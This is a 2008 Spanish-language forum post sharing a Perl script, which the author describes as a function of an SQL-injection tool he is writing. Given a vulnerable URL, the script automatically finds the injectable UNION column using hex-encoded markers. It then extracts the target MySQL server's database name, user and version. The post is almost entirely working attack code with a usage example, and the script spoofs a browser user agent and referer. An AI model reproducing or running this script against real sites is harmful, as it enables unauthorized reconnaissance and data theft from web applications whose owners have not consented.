Título: DataExtract database(),user(),version() By OzX
Publicado por: OzX en 28 Septiembre 2008, 01:06 am
Hi. Lo que hace es Extraer la Informacion de database(), user(), y version() de la mysql, sin la nececidad de indicar en que parte mostrar los datos. En realidad es una Funcion de una Tool para Injecciones SQL que estoy haciendo, y me parecio interesante compartirla. Comunmente, en las tools de SQL, se tiene que indicar en donde injectar la Informacion por Ej. .../noticias.php?id=1+and+1=0+1,2,3,4,AQUI,5,6,7 Lo cual este Script Hace, es encontrar ese "numero" de los campos, automaticamente para luego buscar la informacion. SAludosˇ use LWP::UserAgent;
use HTTP::Request::Common;
#by OzX [NuKe/NB/UnderSecurity] #DataExtract #Extrator de Informacion Desde la Base de Datos, Usuario, BD, y Version. $browser = LWP::UserAgent->new();
$browser->timeout(10);
$browser->default_header(
"User-Agent" => "Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1",
"Accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language" => "es-es,es;q=0.8,en-us;q=0.5,en;q=0.3",
"Referer" => "http://www.google.com"
);
use constant URL => $ARGV[0]; #Constante URL.
unless ($ARGV[0]) { print "Coded By OzX\n Extractor de Informacion database(),User(),version(), Para Mysql\n"; print "Uso Ejemplo : Script.pl www.google.com/noticias?id=15+and+1=0+1,2,3,4,5,6,7,8--\n"; print "\n"; exit 0; }
($uri,$sql_num) = URL =~ m{(.*)\+(.*)$}g; #Obtener Valores 1,2,3,4,5.. ($db,$user,$version) = detalles_bd($sql_num);
print "[+] Nombre BD : > $db\n[+] Usuario BD : > $user\n[+] Verion BD : > $version\n";
#Funcion Que Obtiene la Informacion de la Base de Datos sub detalles_bd{ $_[0] = sql_num($sql_num); $vars = numero($sql_num); $string_datos_db = 'concat(0x55534e42,database(),0x3A,user(),0x3A,version(),0x55534e42)'; $sql_num =~s/$vars/$string_datos_db/; $url = $uri."+".$sql_num; $source = GETS($url); ($db,$user,$version) = $source =~ m{USNB(.*):(.*):(.*)USNB}g; return ($db,$user,$version); }
#Funcion para Evitar Problemas XDˇ. sub sql_num{ $num_total = split(",",$_[0]); for ($x=1;$x<=$num_total;$x++){ $sql_num_correcto = $sql_num_correcto."$x,"; } chop($sql_num_correcto); return $sql_num_correcto; }
#Funcion para Obtener los Numeros De la Inyeccion Base sub numero{ local $sql_num = $_[0]; $sql_num = split(",",$sql_num); #Total de Valores, Sin Importar si Empieza de 0. for ($x=1;$x<=$sql_num;$x++){ $url_hex = $url_hex.hex_sql("USNB$x").","; } chop($url_hex); #Eliminamos la Ultima , $url_inject = $uri."+".$url_hex."--"; #FORMAMOS LA URL $source_url_hex = GETS($url_inject);#SOURCE ( @match_USNB) = $source_url_hex =~ m{USNB(\d+)}g; #ENCONTRAMOS VALORES $vars = @match_USNB[int(rand( @match_USNB))]; #Eligimos 1 al azar $$ return $vars; }
#Funcion GETS sub GETS{ return $browser->request(GET $_[0])->content; } #Funcion Hex_SQL sub hex_sql($) { (my $str = shift) =~ s/(.|\n)/sprintf("%02lx", ord $1)/eg;return "0x$str"; }
|